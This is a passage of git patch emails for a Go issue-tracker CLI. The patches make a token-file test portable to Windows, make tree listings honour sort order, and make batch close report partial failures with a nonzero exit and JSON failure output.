cmd.Flags().GetInt("max-depth") @@ -145,7 +150,7 @@ func runDepTree(cmd *cobra.Command, ctx context.Context, args []string) error { tree := result.Nodes // Handle format presets (json handled earlier, near the flag read). - if formatStr == "mermaid" { + if isMermaidTreeFormat(formatStr) { // The raw argument, not the resolved id: this is only read when the tree // is empty. outputMermaidTree(tree, args[0]) From 073556c791d95f2472c201eb5f2877fe7c8b0b00 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 09:45:11 -0700 Subject: [PATCH 106/624] test(httpapi): match missing token file with errors.Is, not Unix text (#6628) TestNewTokenFileAuthRefusesAnUnusableFile/missing asserted the substring "no such file", which is Unix-only wording; on native Windows the OS reports "The system cannot find the file specified." and the test fails. readTokenFile already wraps the open error with %w, so assert errors.Is(err, fs.ErrNotExist) for that case and leave the other cases' message checks alone. Fixes #6543 Co-authored-by: Claude Sonnet 5 --- internal/httpapi/auth_test.go | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/internal/httpapi/auth_test.go b/internal/httpapi/auth_test.go index 61dfe3871..6492fe498 100644 --- a/internal/httpapi/auth_test.go +++ b/internal/httpapi/auth_test.go @@ -2,7 +2,9 @@ package httpapi import ( "bytes" + "errors" "fmt" + "io/fs" "os" "path/filepath" "strings" @@ -100,13 +102,20 @@ func TestNewTokenFileAuthRefusesAnUnusableFile(t *testing.T) { fat := filepath.Join(dir, "fat") writeTokenFile(t, fat, strings.Repeat("a", maxTokenFileBytes+1)) - for _, tc := range []struct{ name, path, want string }{ - {"missing", filepath.Join(dir, "nope"), "no such file"}, - {"empty", empty, "no tokens"}, - {"blank lines only", blank, "no tokens"}, - {"oversized", fat, "larger than"}, - {"unnamed", "", "no token file"}, - {"directory", dir, ""}, + // wantIs is set where the refusal has a stable sentinel. The OS's own + // wording for a missing file is platform-specific ("no such file or + // directory" on Unix, "The system cannot find the file specified." on + // Windows), so that case matches on errors.Is rather than on text. + for _, tc := range []struct { + name, path, want string + wantIs error + }{ + {"missing", filepath.Join(dir, "nope"), "", fs.ErrNotExist}, + {"empty", empty, "no tokens", nil}, + {"blank lines only", blank, "no tokens", nil}, + {"oversized", fat, "larger than", nil}, + {"unnamed", "", "no token file", nil}, + {"directory", dir, "", nil}, } { t.Run(tc.name, func(t *testing.T) { _, err := NewTokenFileAuth(tc.path) @@ -116,6 +125,9 @@ func TestNewTokenFileAuthRefusesAnUnusableFile(t *testing.T) { if tc.want != "" && !strings.Contains(err.Error(), tc.want) { t.Errorf("error %q does not explain the refusal (want %q in it)", err, tc.want) } + if tc.wantIs != nil && !errors.Is(err, tc.wantIs) { + t.Errorf("error %q is not %v", err, tc.wantIs) + } if !strings.Contains(err.Error(), "token") && !strings.Contains(err.Error(), tc.path) { t.Errorf("error %q names neither the token file nor its path", err) } From c25059adad4da6002d3d0c813b8c23fdc23c0bc0 Mon Sep 17 00:00:00 2001 From: mhawthorne Date: Sat, 26 Sep 2026 13:30:22 -0400 Subject: [PATCH 107/624] fix(list): honor sort order in tree output (GH#6613) (#6617) Apply requested sort and reverse direction to tree roots and sibling groups while preserving dependency precedence. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of mhawthorne --- cmd/bd/list.go | 4 +-- cmd/bd/list_footer_counts_test.go | 6 ++-- cmd/bd/list_helpers_test.go | 60 +++++++++++++++++++++++++++++-- cmd/bd/list_proxied_server.go | 6 ++-- cmd/bd/list_show_filter_modes.go | 10 +++--- cmd/bd/list_tree.go | 60 +++++++++++++++++++++++-------- cmd/bd/list_tree_deps.go | 20 +++++------ cmd/bd/list_tree_deps_test.go | 8 ++--- 8 files changed, 131 insertions(+), 43 deletions(-) diff --git a/cmd/bd/list.go b/cmd/bd/list.go index c7cfaa4c4..3542920d4 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -322,7 +322,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { return HandleError("loading dependencies for --deps: %v", depErr) } // Hierarchical --parent walks use an unlimited per-level query, so the tree is never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status) + displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) printSkipLabelsFooter(in.SkipLabels) return nil } @@ -331,7 +331,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { if depErr != nil && in.depsMode != "" { return HandleError("loading dependencies for --deps: %v", depErr) } - displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status) + displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil diff --git a/cmd/bd/list_footer_counts_test.go b/cmd/bd/list_footer_counts_test.go index 0e9fa765a..e4092876d 100644 --- a/cmd/bd/list_footer_counts_test.go +++ b/cmd/bd/list_footer_counts_test.go @@ -166,7 +166,7 @@ func TestDisplayWatchedIssueListReadyFooterDisclosesFilter(t *testing.T) { // for; the footer is what is under test, and this keeps the file free of // the cgo-tagged stub so it still compiles under CGO_ENABLED=0. out := captureStdout(t, func() error { - displayWatchedIssueList(context.Background(), nil, issues, false, true, "") + displayWatchedIssueList(context.Background(), nil, issues, false, true, "", "", false) return nil }) @@ -257,7 +257,7 @@ func TestDisplayPrettyListWithDepsReadyExplicitStatusFooter(t *testing.T) { } depsOut := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress") + displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress", "", false) return nil }) if strings.Contains(depsOut, "open only") || strings.Contains(depsOut, "excludes in_progress") { @@ -273,7 +273,7 @@ func TestDisplayWatchedIssueListReadyExplicitStatusFooter(t *testing.T) { {ID: "bd-1", Title: "A", Status: types.StatusInProgress, Priority: 1, IssueType: types.TypeTask}, } out := captureStdout(t, func() error { - displayWatchedIssueList(context.Background(), nil, issues, false, true, "in_progress") + displayWatchedIssueList(context.Background(), nil, issues, false, true, "in_progress", "", false) return nil }) if strings.Contains(out, "open only") || strings.Contains(out, "excludes in_progress") { diff --git a/cmd/bd/list_helpers_test.go b/cmd/bd/list_helpers_test.go index e205f0323..f9e06041d 100644 --- a/cmd/bd/list_helpers_test.go +++ b/cmd/bd/list_helpers_test.go @@ -282,6 +282,62 @@ func TestListSortIssues_ClosedNilLast(t *testing.T) { } } +func TestListDisplayPrettyListHonorsSort(t *testing.T) { + older := time.Now().Add(-2 * time.Hour) + newer := time.Now().Add(-time.Hour) + + t.Run("roots", func(t *testing.T) { + issues := []*types.Issue{ + {ID: "bd-old", Title: "Older P0", Status: types.StatusClosed, Priority: 0, IssueType: types.TypeTask, ClosedAt: &older}, + {ID: "bd-new", Title: "Newer P3", Status: types.StatusClosed, Priority: 3, IssueType: types.TypeTask, ClosedAt: &newer}, + } + + out := captureStdout(t, func() error { + displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "closed", "closed", false) + return nil + }) + newAt, oldAt := strings.Index(out, "bd-new"), strings.Index(out, "bd-old") + if newAt < 0 || oldAt < 0 || newAt > oldAt { + t.Fatalf("tree roots ignore --sort closed:\n%s", out) + } + }) + + t.Run("default reverse", func(t *testing.T) { + issues := []*types.Issue{ + {ID: "bd-p0", Title: "P0", Status: types.StatusOpen, Priority: 0, IssueType: types.TypeTask}, + {ID: "bd-p3", Title: "P3", Status: types.StatusOpen, Priority: 3, IssueType: types.TypeTask}, + } + + out := captureStdout(t, func() error { + displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "", "", true) + return nil + }) + p3At, p0At := strings.Index(out, "bd-p3"), strings.Index(out, "bd-p0") + if p3At < 0 || p0At < 0 || p3At > p0At { + t.Fatalf("tree roots ignore bare --reverse:\n%s", out) + } + }) + + t.Run("siblings", func(t *testing.T) { + parent := &types.Issue{ID: "bd-parent", Title: "Parent", Status: types.StatusClosed, Priority: 2, IssueType: types.TypeEpic, ClosedAt: &older} + oldChild := &types.Issue{ID: "bd-old-child", Title: "Older child", Status: types.StatusClosed, Priority: 0, IssueType: types.TypeTask, ClosedAt: &older} + newChild := &types.Issue{ID: "bd-new-child", Title: "Newer child", Status: types.StatusClosed, Priority: 3, IssueType: types.TypeTask, ClosedAt: &newer} + deps := map[string][]*types.Dependency{ + oldChild.ID: {{IssueID: oldChild.ID, DependsOnID: parent.ID, Type: types.DepParentChild}}, + newChild.ID: {{IssueID: newChild.ID, DependsOnID: parent.ID, Type: types.DepParentChild}}, + } + + out := captureStdout(t, func() error { + displayPrettyListWithDepsMode([]*types.Issue{parent, oldChild, newChild}, false, deps, "", false, false, "closed", "closed", false) + return nil + }) + newAt, oldAt := strings.Index(out, newChild.ID), strings.Index(out, oldChild.ID) + if newAt < 0 || oldAt < 0 || newAt > oldAt { + t.Fatalf("tree siblings ignore --sort closed:\n%s", out) + } + }) +} + func TestListDisplayPrettyList(t *testing.T) { out := captureStdout(t, func() error { displayPrettyList(nil, false) @@ -317,7 +373,7 @@ func TestListDisplayPrettyList_TruncatedSummary(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "") + displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "", "", false) return nil }) if !strings.Contains(out, "Showing 2 issues") { @@ -343,7 +399,7 @@ func TestDisplayWatchedIssueList_UsesDependencyHierarchy(t *testing.T) { } out := captureStdout(t, func() error { - displayWatchedIssueList(context.Background(), store, []*types.Issue{child, parent}, false, false, "") + displayWatchedIssueList(context.Background(), store, []*types.Issue{child, parent}, false, false, "", "", false) return nil }) diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index f993232e9..c0f790b59 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -162,7 +162,7 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er if err != nil { return fmt.Errorf("initial query: %w", err) } - displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag, in.Status) + displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) printTruncationHint(hasMore, in.effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -189,7 +189,7 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag, in.Status) + displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) printTruncationHint(hasMore, in.effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -245,7 +245,7 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I printTruncationHint(truncated, in.effectiveLimit) return nil } - displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status) + displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil diff --git a/cmd/bd/list_show_filter_modes.go b/cmd/bd/list_show_filter_modes.go index 562f922c4..64a0432d0 100644 --- a/cmd/bd/list_show_filter_modes.go +++ b/cmd/bd/list_show_filter_modes.go @@ -156,7 +156,7 @@ func loadWatchedIssues(ctx context.Context, store storage.DoltStorage, filter ty // names its scope instead of asserting an in-progress count the ready filter // forced to zero. A watch loop is where a stale "0 in progress" is most likely // to be read as a live fact, so this is the path that most needs it. -func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore, issues []*types.Issue, truncated, readyFiltered bool, statusSelector string) { +func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore, issues []*types.Issue, truncated, readyFiltered bool, statusSelector, sortBy string, reverse bool) { var allDeps map[string][]*types.Dependency if store != nil { deps, err := store.GetAllDependencyRecords(ctx) @@ -164,7 +164,7 @@ func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore allDeps = deps } } - displayPrettyListWithDeps(issues, true, allDeps, truncated, readyFiltered, statusSelector) + displayPrettyListWithDepsMode(issues, true, allDeps, "", truncated, readyFiltered, statusSelector, sortBy, reverse) } // watchIssues returns an error only for the initial query — a failure there @@ -184,7 +184,7 @@ func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.Is // below depends on; what is left is the cut and its verdict, and those are // the shared epilogue's on every other listing this command has. issues, truncated := workapi.FinishPage(issues, "", false, effectiveLimit, false) - displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector) + displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector, sortBy, reverse) printTruncationHint(truncated, effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -214,7 +214,7 @@ func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.Is snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector) + displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector, sortBy, reverse) printTruncationHint(truncated, effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -256,7 +256,7 @@ func runListProxiedHierarchicalParent(ctx context.Context, uw uow.UnitOfWork, in } // Hierarchical --parent walks use an unlimited per-level query; never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status) + displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) printSkipLabelsFooter(in.SkipLabels) return nil } diff --git a/cmd/bd/list_tree.go b/cmd/bd/list_tree.go index 9b1838727..ba23e654d 100644 --- a/cmd/bd/list_tree.go +++ b/cmd/bd/list_tree.go @@ -9,6 +9,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/utils" + "github.com/steveyegge/beads/internal/workapi" ) // buildIssueTree builds parent-child tree structure from issues @@ -23,6 +24,12 @@ func buildIssueTree(issues []*types.Issue) (roots []*types.Issue, childrenMap ma // (blocks, waits-for, discovered-from, relates-to, ...) are workflow/graph // links and are not rendered as hierarchy. func buildIssueTreeWithDeps(issues []*types.Issue, allDeps map[string][]*types.Dependency) (roots []*types.Issue, childrenMap map[string][]*types.Issue) { + return buildIssueTreeWithDepsOrdered(issues, allDeps, compareIssuesByPriority) +} + +// buildIssueTreeWithDepsOrdered builds the same hierarchy while preserving the +// caller's requested order within each root and sibling group. +func buildIssueTreeWithDepsOrdered(issues []*types.Issue, allDeps map[string][]*types.Dependency, compare func(a, b *types.Issue) int) (roots []*types.Issue, childrenMap map[string][]*types.Issue) { issueMap := make(map[string]*types.Issue) childrenMap = make(map[string][]*types.Issue) isChild := make(map[string]bool) @@ -89,16 +96,40 @@ func buildIssueTreeWithDeps(issues []*types.Issue, allDeps map[string][]*types.D // Sort roots for stable tree ordering (fixes unstable --tree output) // Use same sorting logic as children for consistency - slices.SortFunc(roots, compareIssuesByPriority) + slices.SortFunc(roots, compare) // Sort children within each parent for stable ordering in data structure for parentID := range childrenMap { - slices.SortFunc(childrenMap[parentID], compareIssuesByPriority) + slices.SortFunc(childrenMap[parentID], compare) } return roots, childrenMap } +func compareIssuesForTree(sortBy string, reverse bool) func(a, b *types.Issue) int { + if sortBy == "" { + if reverse { + return func(a, b *types.Issue) int { + if result := cmp.Compare(a.Priority, b.Priority); result != 0 { + return -result + } + return utils.NaturalCompareIDs(a.ID, b.ID) + } + } + return compareIssuesByPriority + } + return func(a, b *types.Issue) int { + result := workapi.CompareIssuesBy(a, b, sortBy) + if reverse { + result = -result + } + if result != 0 { + return result + } + return utils.NaturalCompareIDs(a.ID, b.ID) + } +} + // compareIssuesByPriority provides stable sorting for tree display // Primary sort: priority (P0 before P1 before P2...) // Secondary sort: ID for deterministic ordering when priorities match @@ -112,17 +143,16 @@ func compareIssuesByPriority(a, b *types.Issue) int { } // printPrettyTree recursively prints the issue tree. -// Children are ordered by dependency then priority when dr != nil (--deps), else -// by priority (P0 first) for intuitive reading. When dr is set, each node's +// Children use the requested list order. With --deps, dependency order takes +// precedence and the requested order breaks ties. When dr is set, each node's // dependency edges are annotated just beneath it. -func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender) { +func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int) { children := childrenMap[parentID] if dr != nil { - children = orderSiblingsByDeps(children, dr.allDeps) + children = orderSiblingsByDeps(children, dr.allDeps, compare) } else { - // Sort children by priority using same comparison as roots for consistency - slices.SortFunc(children, compareIssuesByPriority) + slices.SortFunc(children, compare) } for i, child := range children { @@ -138,7 +168,7 @@ func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, pre extension = " " } dr.annotationsFor(child.ID, prefix+extension) - printPrettyTree(childrenMap, child.ID, prefix+extension, dr) + printPrettyTree(childrenMap, child.ID, prefix+extension, dr, compare) } } @@ -156,7 +186,7 @@ func displayPrettyList(issues []*types.Issue, showHeader bool) { // summary through this wrapper, and a hardcoded false silently restores the // vacuous "(N open, 0 in progress)" that listFooterLine exists to suppress. func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, truncated, readyFiltered bool, statusSelector string) { - displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector) + displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector, "", false) } // listFooterLine renders the one-line summary under a text listing. @@ -217,7 +247,8 @@ func readyFooterScope(statusSelector string) string { // by --limit; the summary then says "Showing N" instead of "Total: N" (GH#5362). // readyFiltered means --ready was in force; statusSelector is the --status value // so the summary names the pin that actually applied — see listFooterLine. -func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector string) { +// sortBy and reverse preserve the requested list order within the hierarchy. +func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector, sortBy string, reverse bool) { if showHeader { // Clear screen and show header fmt.Print("\033[2J\033[H") @@ -232,7 +263,8 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe return } - roots, childrenMap := buildIssueTreeWithDeps(issues, allDeps) + compare := compareIssuesForTree(sortBy, reverse) + roots, childrenMap := buildIssueTreeWithDepsOrdered(issues, allDeps, compare) var dr *depRender if depsMode != "" { @@ -241,13 +273,13 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe inView[issue.ID] = issue } dr = &depRender{mode: depsMode, allDeps: allDeps, inView: inView} - roots = orderSiblingsByDeps(roots, allDeps) + roots = orderSiblingsByDeps(roots, allDeps, compare) } for _, issue := range roots { fmt.Println(formatPrettyIssue(issue)) dr.annotationsFor(issue.ID, "") - printPrettyTree(childrenMap, issue.ID, "", dr) + printPrettyTree(childrenMap, issue.ID, "", dr, compare) } // Summary — counts describe the shown page; never label a truncated page "Total". diff --git a/cmd/bd/list_tree_deps.go b/cmd/bd/list_tree_deps.go index b10a7f0c0..f662ca1dd 100644 --- a/cmd/bd/list_tree_deps.go +++ b/cmd/bd/list_tree_deps.go @@ -61,11 +61,11 @@ func depEdgeDisplay(t types.DependencyType) (label string, scheduling, ok bool) // orderSiblingsByDeps reorders a sibling group so that, within the group, an // issue that depends on another (via a scheduling edge) sorts after it — giving // a top-to-bottom reading that is a valid execution order. Ties and dependency -// cycles fall back to compareIssuesByPriority (priority, then natural ID), so -// the result is always total and never hangs on a cycle. Ordering is driven by -// scheduling edges only, regardless of --deps mode: knowledge-graph edges -// (related, discovered-from, ...) carry no ordering meaning. -func orderSiblingsByDeps(siblings []*types.Issue, allDeps map[string][]*types.Dependency) []*types.Issue { +// cycles fall back to compare, so the result is always total and never hangs +// on a cycle. Ordering is driven by scheduling edges only, regardless of +// --deps mode: knowledge-graph edges (related, discovered-from, ...) carry no +// ordering meaning. +func orderSiblingsByDeps(siblings []*types.Issue, allDeps map[string][]*types.Dependency, compare func(a, b *types.Issue) int) []*types.Issue { if len(siblings) < 2 || allDeps == nil { return siblings } @@ -95,14 +95,14 @@ func orderSiblingsByDeps(siblings []*types.Issue, allDeps map[string][]*types.De } } - // Kahn's algorithm with a priority-ordered ready set for a stable result. + // Kahn's algorithm with a caller-ordered ready set for a stable result. ready := make([]*types.Issue, 0, len(siblings)) for _, s := range siblings { if indeg[s.ID] == 0 { ready = append(ready, s) } } - slices.SortFunc(ready, compareIssuesByPriority) + slices.SortFunc(ready, compare) out := make([]*types.Issue, 0, len(siblings)) emitted := make(map[string]bool, len(siblings)) @@ -120,11 +120,11 @@ func orderSiblingsByDeps(siblings []*types.Issue, allDeps map[string][]*types.De } } if grew { - slices.SortFunc(ready, compareIssuesByPriority) + slices.SortFunc(ready, compare) } } - // Cycle fallback: emit any remaining nodes in priority/ID order. + // Cycle fallback: emit any remaining nodes in the caller's order. if len(out) < len(siblings) { rest := make([]*types.Issue, 0, len(siblings)-len(out)) for _, s := range siblings { @@ -132,7 +132,7 @@ func orderSiblingsByDeps(siblings []*types.Issue, allDeps map[string][]*types.De rest = append(rest, s) } } - slices.SortFunc(rest, compareIssuesByPriority) + slices.SortFunc(rest, compare) out = append(out, rest...) } return out diff --git a/cmd/bd/list_tree_deps_test.go b/cmd/bd/list_tree_deps_test.go index 2c3226175..215c76c1e 100644 --- a/cmd/bd/list_tree_deps_test.go +++ b/cmd/bd/list_tree_deps_test.go @@ -36,7 +36,7 @@ func TestOrderSiblingsByDeps_DependencyBeatsPriority(t *testing.T) { b := &types.Issue{ID: "pa-b", Priority: 0} deps := map[string][]*types.Dependency{"pa-b": {schedDep("pa-b", "pa-a")}} - got := idsOf(orderSiblingsByDeps([]*types.Issue{b, a}, deps)) + got := idsOf(orderSiblingsByDeps([]*types.Issue{b, a}, deps, compareIssuesByPriority)) if indexOf(got, "pa-a") > indexOf(got, "pa-b") { t.Fatalf("expected pa-a before pa-b (dependency order), got %v", got) } @@ -51,7 +51,7 @@ func TestOrderSiblingsByDeps_ChainIsTopological(t *testing.T) { "pa-c": {schedDep("pa-c", "pa-b")}, "pa-b": {schedDep("pa-b", "pa-a")}, } - got := idsOf(orderSiblingsByDeps([]*types.Issue{c, b, a}, deps)) + got := idsOf(orderSiblingsByDeps([]*types.Issue{c, b, a}, deps, compareIssuesByPriority)) if indexOf(got, "pa-a") > indexOf(got, "pa-b") || indexOf(got, "pa-b") > indexOf(got, "pa-c") { t.Fatalf("expected topological order a,b,c, got %v", got) } @@ -65,7 +65,7 @@ func TestOrderSiblingsByDeps_CycleFallsBackWithoutDropping(t *testing.T) { "pa-a": {schedDep("pa-a", "pa-b")}, "pa-b": {schedDep("pa-b", "pa-a")}, } - got := idsOf(orderSiblingsByDeps([]*types.Issue{b, a}, deps)) + got := idsOf(orderSiblingsByDeps([]*types.Issue{b, a}, deps, compareIssuesByPriority)) if len(got) != 2 || indexOf(got, "pa-a") < 0 || indexOf(got, "pa-b") < 0 { t.Fatalf("cycle must preserve all nodes, got %v", got) } @@ -76,7 +76,7 @@ func TestOrderSiblingsByDeps_OutOfGroupEdgeIgnored(t *testing.T) { a := &types.Issue{ID: "pa-a", Priority: 2} b := &types.Issue{ID: "pa-b", Priority: 1} deps := map[string][]*types.Dependency{"pa-a": {schedDep("pa-a", "pa-external")}} - got := idsOf(orderSiblingsByDeps([]*types.Issue{a, b}, deps)) + got := idsOf(orderSiblingsByDeps([]*types.Issue{a, b}, deps, compareIssuesByPriority)) // Falls back to priority: b (P1) before a (P2). if indexOf(got, "pa-b") > indexOf(got, "pa-a") { t.Fatalf("expected priority order b,a for out-of-group edge, got %v", got) From 730fb9867e654a7cde030a41e10b1d3dcf1fe141 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 13:55:44 -0700 Subject: [PATCH 108/624] Beads #6648: report partial batch-close failure (#6740) * fix(close): fail partial batch closes Fixes #6648 * review: exit nonzero on proxied partial close, update tests and changelog Co-Authored-By: Claude Sonnet 5 * review: print close failure summary only for multi-id batches Co-Authored-By: Claude Sonnet 5 * review: machine-readable close failures, and adjudicate --claim-next Maintainer fixup for the two major findings on #6740 (Beads #6648). 1. --claim-next x partial failure (major). --claim-next rides inside the batch transaction and fires whenever something LANDED, so a mixed batch claimed a fresh issue and then exited 1, with nothing in the diff, the CHANGELOG or the tests saying so. Adjudicated as "the claim stands and the report names it", not "the claim is suppressed". Suppressing it at cmd/bd -- the site the review named -- cannot un-claim anything: ExecuteCloseBatch (and the uow provider's twin) commit the claim alongside the survivors before the CLI ever sees a refusal, so gating the report would only leave an issue assigned to the actor with nothing on stdout or stderr saying so. Strictly worse than announcing it. The claim is now named in the text summary and in the JSON failure payload, so a caller that exits on the nonzero status can still see what it owns. The review's "unbounded claim leak -- another ready issue on every attempt" does not hold, and the new test pins why: on a retry the survivor is already closed, so `landed` is 0 and an empty batch earns no claim (close_batch.go:146, uow/batch_closer.go:71). The leak is bounded at the one claim the first run earned. The defect that remains -- a durable claim the caller is never told about -- is what this fixes. 2. --json partial failure carried no machine-readable signal (major). The new exit 1 left stdout as the success-shaped array of CLOSED issues and put only human refusal prose on stderr, so a JSON consumer could not learn WHICH ids failed without scraping it -- the exact fragility #6648 was filed about, left in place for the callers most likely to batch. Both routes now report through one reportCloseFailures helper modelled on bd update's reportUpdateFailures: a compact {"error","failed":[{"id","error"}]} line on stderr, stdout keeping the closed-issues array. That also removes the summary hand-rolled twice with two denominators (the architectural nit). Also taken, all non-gating and adjacent to the above: - CHANGELOG narrowed to the refusals it actually covers, noting that an UNRESOLVABLE id still aborts the direct route before any close runs while the proxied route refuses it per-argument (the route-parity overclaim). - Tests for the three deliberately-chosen behaviours that had no pin: the --json partial failure (proxied), the --claim-next interaction above (embedded, both failure channels), and the single-id summary suppression that commit 97151ab8e exists solely to add -- asserted in TestParityCloseNothingSettledExits1, which checked stdout but not stderr. Contributor commits preserved; behaviour of the original fix is unchanged on every route it already covered. Single-id stderr stays byte-identical. Validated: go build ./..., go vet ./cmd/bd/..., TestParityClose family, cmd/bd/protocol, TestEmbeddedClose close/claim-next subtests (BEADS_TEST_EMBEDDED_DOLT=1), TestProxiedServerClose partial-failure subtests (BEADS_TEST_PROXIED_SERVER=1), TestMultiIDUpdatePartialFailure. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen --- CHANGELOG.md | 17 ++++ cmd/bd/close.go | 103 +++++++++++++++++++++++ cmd/bd/close_embedded_test.go | 78 +++++++++++++++++ cmd/bd/close_proxied_integration_test.go | 88 +++++++++++++++++++ cmd/bd/close_proxied_server.go | 9 +- cmd/bd/protocol/exit_codes_test.go | 15 ++-- cmd/bd/write_verbs_parity_test.go | 27 +++--- 7 files changed, 319 insertions(+), 18 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eba980dea..26cdaada8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,23 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd close` now exits non-zero when any issue in a batch fails to close** + ([#6648](https://github.com/gastownhall/beads/issues/6648)). A batch with one + refused id used to exit 0 as long as another id closed, so scripts could not + tell that part of the batch was left open. The closable ids still close, the + refusals are still printed, and a final `Error: N of M issues failed to close` + line is added; ids that were already closed still count as success. Both the + direct and proxied-server routes behave this way for ids the close policy or + the engine refuses. (An id that cannot be *resolved* at all is unchanged and + still differs by route: the direct route aborts the whole command before any + close runs, while the proxied route refuses that argument and closes the + rest.) In `--json` mode the summary is instead a compact JSON line on stderr + naming the failed ids, matching `bd update`'s partial-failure report, while + stdout keeps the usual closed-issues array. `--claim-next` still claims when + part of the batch closed — the claim commits inside the batch's own + transaction and a sibling's refusal does not roll it back — so the summary + names the claimed id rather than leaving it silently assigned. + - **`bd list --watch --format` is refused instead of silently dropping the format** ([#6277](https://github.com/gastownhall/beads/issues/6277)). `--watch` always re-renders the pretty listing, so on the direct route a diff --git a/cmd/bd/close.go b/cmd/bd/close.go index dee1ddc3e..d4ceda333 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -2,6 +2,7 @@ package main import ( "context" + "encoding/json" "fmt" "os" "strings" @@ -145,6 +146,7 @@ the flags appear in the command line.`, closedIssues := []*types.Issue{} closedCount := 0 alreadyClosed := 0 + var failures []closeIDFailure firstSettledID := "" for i, id := range resolvedIDs { @@ -153,10 +155,15 @@ the flags appear in the command line.`, // The CLI's own close policy refused this argument, so the // batch never saw it. fmt.Fprintln(os.Stderr, plan.refusals[i]) + failures = append(failures, closeIDFailure{ID: id, Error: plan.refusals[i]}) continue } if res.Err != nil { fmt.Fprintln(os.Stderr, closeDirectRefusal(id, res.Err)) + // The typed error, not the decorated display line: the --force + // hint closeDirectRefusal appends is advice for a human reader, + // and the id already has its own field. + failures = append(failures, closeIDFailure{ID: id, Error: res.Err.Error()}) continue } @@ -318,6 +325,17 @@ the flags appear in the command line.`, // claimed store anyway: the batch committed the claim, but the sweep // below still has to name it if a molecule auto-close made the store // dirty again. + // + // A batch that also REFUSED an id still reports its claim here, and + // that is deliberate (#6648). The claim landed inside the batch's + // transaction alongside the survivors and a sibling's refusal does not + 